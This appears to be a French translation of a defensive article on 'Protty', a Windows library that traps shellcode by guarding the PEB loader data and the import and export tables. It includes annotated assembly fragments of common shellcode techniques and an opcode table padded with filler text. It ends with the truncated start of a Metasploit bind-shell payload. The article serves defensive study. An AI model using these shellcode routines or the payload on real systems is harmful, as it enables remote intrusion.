AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7F A [disp8+EDI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 80 A [disp32+EAX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 81 A [disp32+ECX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 82 A [disp32+EDX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 83 A [disp32+EBX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 84 A [disp32+[--][--]], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 85 A [disp32+EBP], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 86 A [disp32+ESI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 87 A [disp32+EDI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 88 A [disp32+EAX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 89 A [disp32+ECX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8A A [disp32+EDX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8B A [disp32+EBX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8C A [disp32+[--][--]], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8D A [disp32+EBP], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8E A [disp32+ESI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 8F A [disp32+EDI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 90 A [disp32+EAX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 91 A [disp32+ECX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 92 A [disp32+EDX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 93 A [disp32+EBX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 94 A [disp32+[--][--]], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 95 A [disp32+EBP], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 96 A [disp32+ESI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 97 A [disp32+EDI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 98 A [disp32+EAX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 99 A [disp32+ECX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9A A [disp32+EDX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9B A [disp32+EBX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9C A [disp32+[--][--]], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9D A [disp32+EBP], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9E A [disp32+ESI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 9F A [disp32+EDI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A0 A [disp32+EAX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A1 A [disp32+ECX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A2 A [disp32+EDX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A3 A [disp32+EBX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A4 A [disp32+[--][--]], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A5 A [disp32+EBP], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A6 A [disp32+ESI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A7 A [disp32+EDI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A8 A [disp32+EAX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A9 A [disp32+ECX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AA A [disp32+EDX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AB A [disp32+EBX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AC A [disp32+[--][--]], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AD A [disp32+EBP], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AE A [disp32+ESI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AF A [disp32+EDI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B0 A [disp32+EAX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B1 A [disp32+ECX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B2 A [disp32+EDX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B3 A [disp32+EBX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B4 A [disp32+[--][--]], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B5 A [disp32+EBP], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B6 A [disp32+ESI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B7 A [disp32+EDI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B8 A [disp32+EAX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B9 A [disp32+ECX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BA A [disp32+EDX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BB A [disp32+EBX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BC A [disp32+[--][--]], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BD A [disp32+EBP], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BE A [disp32+ESI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BF A [disp32+EDI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C0 A EAX/AX/AL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C1 A ECX/CX/CL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C2 A EDX/DX/DL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C3 A EBX/BX/BL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C4 A ESP/SP/AH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C5 A EBP/BP/CH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C6 A ESI/SI/DH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C7 A EDI/DI/BH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C8 A EAX/AX/AL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C9 A ECX/CX/CL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CA A EDX/DX/DL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CB A EBX/BX/BL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CC A ESP/SP/AH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CD A EBP/BP/CH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CE A ESI/SI/DH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CF A EDI/DI/BH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D0 A EAX/AX/AL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D1 A ECX/CX/CL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D2 A EDX/DX/DL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D3 A EBX/BX/BL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D4 A ESP/SP/AH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D5 A EBP/BP/CH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D6 A ESI/SI/DH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D7 A EDI/DI/BH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D8 A EAX/AX/AL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D9 A ECX/CX/CL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DA A EDX/DX/DL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DB A EBX/BX/BL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DC A ESP/SP/AH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DD A EBP/BP/CH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DE A ESI/SI/DH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DF A EDI/DI/BH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E0 A EAX/AX/AL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E1 A ECX/CX/CL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E2 A EDX/DX/DL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E3 A EBX/BX/BL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E4 A ESP/SP/AH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E5 A EBP/BP/CH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E6 A ESI/SI/DH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E7 A EDI/DI/BH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E8 A EAX/AX/AL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E9 A ECX/CX/CL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EA A EDX/DX/DL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EB A EBX/BX/BL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EC A ESP/SP/AH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A ED A EBP/BP/CH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EE A ESI/SI/DH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EF A EDI/DI/BH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F0 A EAX/AX/AL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F1 A ECX/CX/CL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F2 A EDX/DX/DL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F3 A EBX/BX/BL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F4 A ESP/SP/AH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F5 A EBP/BP/CH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F6 A ESI/SI/DH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F7 A EDI/DI/BH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F8 A EAX/AX/AL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F9 A ECX/CX/CL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FA A EDX/DX/DL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FB A EBX/BX/BL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FC A ESP/SP/AH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FD A EBP/BP/CH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FE A ESI/SI/DH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FF A EDI/DI/BH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Comme vous pouvez le voir, 03h désigne "[EBX], EAX/AX/AL". Et c'est justement ce dont nous avions besoin. Maintenant que le méchanisme sait, il n'a plus qu'a scanner les registres EAX et EBX et de les mettres à jours si leurs valeurs sont "similaires" aux adresses "leurres". Bien sûr, la vérification des registres pourrait être plus efficace (en vérifiant plus d'opcodes, etc ...) - peut-être dans une prochaine version. Dans le mechanisme, j'ai utilisé la table ci-dessus, il y a aussi une "autre" méthode ("primaire") pour déterminer les registres utilisés. La méthode est basée sur le fait que l'octet ModR/M contient trois champs d'informations (Mod, Reg/Opcode, R/M). En vérifiant les bits de ces entrées, on peut déterminer quels registres sont utilisés par l'instruction (surement la table intéressante du manuel Intel : "... Addressing Forms with the ModR/M Byte"). Je travaille actuellement sur un moteur de désassemblage, donc, tous le code relatif au "décodage d'opcode" devrait être mis à jours dans les version futurs. Et si le projet Protty continue, je changerai probablement le moteur de z0mbie par le mien, en même temps, son bébé fonctionne bien. Si vous êtes très intéressés par le désassemblage d'instructions, allez voir [8]. Pour voir comment ça fonctionne, voici un exemple : ;----------SNIP-------------------------------------------- mov eax,fs:[30h] mov eax,[eax+0ch] mov esi,[eax+1ch] ; valeur changée par la protection ; ESI=DDDDDDDDh lodsd ; charge un mot <- génère une exception ;----------SNIP-------------------------------------------- Cet exemple génère une exception sur l'instruction "lodsd", parce que l'application tente de charger 4 octets depuis un endroit invalide - ESI (parce qu'il a été changé par P2). La librairie de prévention récupère l'exception et vérifie l'instruction. Celle-ci est un lodsd, donc, au lieu de l'octet ModR/M (puisqu'il n'y en a pas ici), la librairie vérifie l'opcode. Une fois qu'elle trouve que c'est "lodsd", elle scan et met à jours ESI. Enfin, ESI (dans ce cas) prend pour nouvelle valeur 0241F28h (valeur originale) et l'exécution continue incluant les mauvaises instructions. C'est comme ça que fonctionne P2, beaucoup plus rapidement que son vieux frère P1. --[ VI. Action - quelques exemple de shellcodes attrapés Si vous avez étudiés les descriptions de tous les méchanismes, il est temps de vous montrer où/quand Protty les attrapes. Jetons un coup d'oeuil aux exemples de tous les méchanismes décrits au paragraphe IV. parsing du PEB (Process Environment Block) ------------------------------------------ ;----------SNIP-------------------------------------------- mov eax,dword ptr fs:[30h] ; EAX contient la bade du PEB mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA mov esi,dword ptr [eax+1ch] ; la première entrée ^^^^^^^^^^^^^^^^^^^^^^^^^^^ | ---- [P1-I1] mov ebx,[esi+08h] ; EBX=ntdll imagebase ^^^^^^^^^^^^^^^^^ | ------- [P2-I1] ;----------SNIP-------------------------------------------- - Description pour P1 Dans cet exemple, Protty attrape le shellcode quand l'instruction marquée [P1-I1] est exécutée. Puisque Protty a protégé la région PEB_LDR_DATA (elle est marquée comme PAGE_NOACCESS), toutes les références vers elle causeront des violations d'accès qui seront filtrées par Protty. Ici, le shellcode essaye de récupérer la première entrée de la structure PEB_LDR_DATA, ceci cause une exception et le shellcode se fait attraper - l'attaque échoue. - Description pour P2 Le méchanisme est activé quand [P2-I1] est exécuté. La valeur de ESI est redirigée vers un endroit invalide et donc, toutes les références vers elle causeront une violation d'accès, c'est filtré par les méchanismes de prévention installés - en bref : l'attaque échoue, le shellcode est attrapé. Recherche du noyau en mémoire ----------------------------- Je pense qu'il n'est pas besoin de code ici, de toute façon, quand/où agirait protty dans ce cas ? Comme vous vous souvenez sûrement, du paragraphe IV, la recherche du noyau se déroule en même temps que SEH (structured exception handler). Chaque fois que le shellcode essaiera un endroit invalide, le SEH gère l'exception et la procédure de recherche continue. Quand protty est activé, le shellcode n'a pas de "seconde chance" - qu'est-ce que ça veut dire ? Ça signifie que quand le shellcode essaiera un endroit invalide (en utilisant SEH), l'exception sera filtrée par Protty, en bref, le shellcode sera attrapé - l'attaque échoue. Il y a aussi d'autres shellcodes qui recherchent le shellcode principal en mémoire en utilisant aussi le SEH. Généralement, l'idée est de développer un petit shellcode qui ne fait que chercher après le plus gros qui est stocké quelque part en mémoire. Puisque le SEH est aussi utilisé, ce type de shellcode sera aussi attrapé. Parsing de la section export ---------------------------- On estime que l'attaquant a récupéré la base de l'image d'une manière inconnue :) (tout le code est dans le chapitre IV - je ne compte pas le coller ici). ;----------SNIP-------------------------------------------- ; EAX=imagebase de kernel32.dll xor ebp,ebp ; met à zéro le compteur mov ebx,[eax+3ch] ; récupère l'en-tête PZ add ebx,eax ; normalise <...snip...> loop_it: mov edi,[ecx] ; récupère un nom add edi,eax ; normalise cmp dword ptr [edi+4],'Acor' ; est-ce GetP-rocA-ddress ?? :) jne @l ; non -> jump vers @l ; oui, ça l'est add esi,ebp ; ajoute au compteur mov esi,[esi] ; récupère l'adresse ^^^^^^^^^^^^^ | ---[I1] add esi,eax ; normalise int 3 ; ESI=addresse de GetProcAddress @l: <...snip...> ;----------SNIP-------------------------------------------- - Description pour P1 et P2 L'exemple suivant est attrapé quand l'instruction [I1] est exécutée - quand il essaie de lire l'adresse de GetProcAddress depuis le tableau des adresses de fonctions. Puisque le tableau est "protégé", toutes les références vers lui génèreront des exceptions, qui seront filtrées par nos méchanismes (comme dans les points précédents). Le shellcode est attrapé, l'attaque échoue. parsing de la section import ---------------------------- ;----------SNIP-------------------------------------------- ;l'exemple suivant récupère l'adresse de LoadLibraryA à ;partir de l'IAT IMAGEBASE equ 00400000h mov ebx,IMAGEBASE mov eax,ebx add eax,[eax+3ch] ; en-tête PE mov edi,[eax+80h] ; importe RVA ^^^^^^^^^^^^^^^^^ | ----[I1] add edi,ebx ; normalise xor ebp,ebp mov edx,[edi+10h] ; pointer vers les adresses ^^^^^^^^^^^^^^^^^ | ----[I2] add edx,ebx ; normalise <...snip...> ;----------SNIP-------------------------------------------- - Description pour P1 et P2 Après que l'instruction [I1] soit exécutée, EDI devrait contenir le RVA de la section import, pourquoi il devrait ? parce que, puisque la protection est active, le RVA est un faux. L'étape suivante (regardez l'instruction [I2]) causera une violation d'accès (parce que FAKED_IAT_RVA + IMAGEBASE = ENDROIT INVALIDE) et le shellcode sera attrapé. L'attaque échoue aussi dans ce cas. Il y a aussi un risque que l'attaquant code en dure le IAT RVA. Dans ces cas, le tableau de noms de fonctions est aussi protégé, regardez le code suivant : ;----------SNIP-------------------------------------------- <...snip...> @loop: mov eax,[esi] ^^^^^^^^^^^^^ | --[I1] add eax,ebx add eax,2 cmp dword ptr [eax],'daoL' ; est-ce LoadLibraryA? <...snip...> ;----------SNIP-------------------------------------------- L'instruction [I1] tente d'accéder à une zone mémoire inaccessible (le méchanisme de protection l'a changée) et résulte en une exception. Protty filtre la violation d'accès et tue le shellcode - cette attaque échoue aussi. Et le dernier exemple, un shellcode pris chez metasploit.com : win32_bind by metasploit.com ---------------------------- EXITFUNC=seh LPORT=4444 Size=348 Encoder=PexFnstenvSub (replace "data" with "data" from protty_example/sample_bo.c then recompile and run) unsigned char data[] = "\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97" "\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a" "\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e" 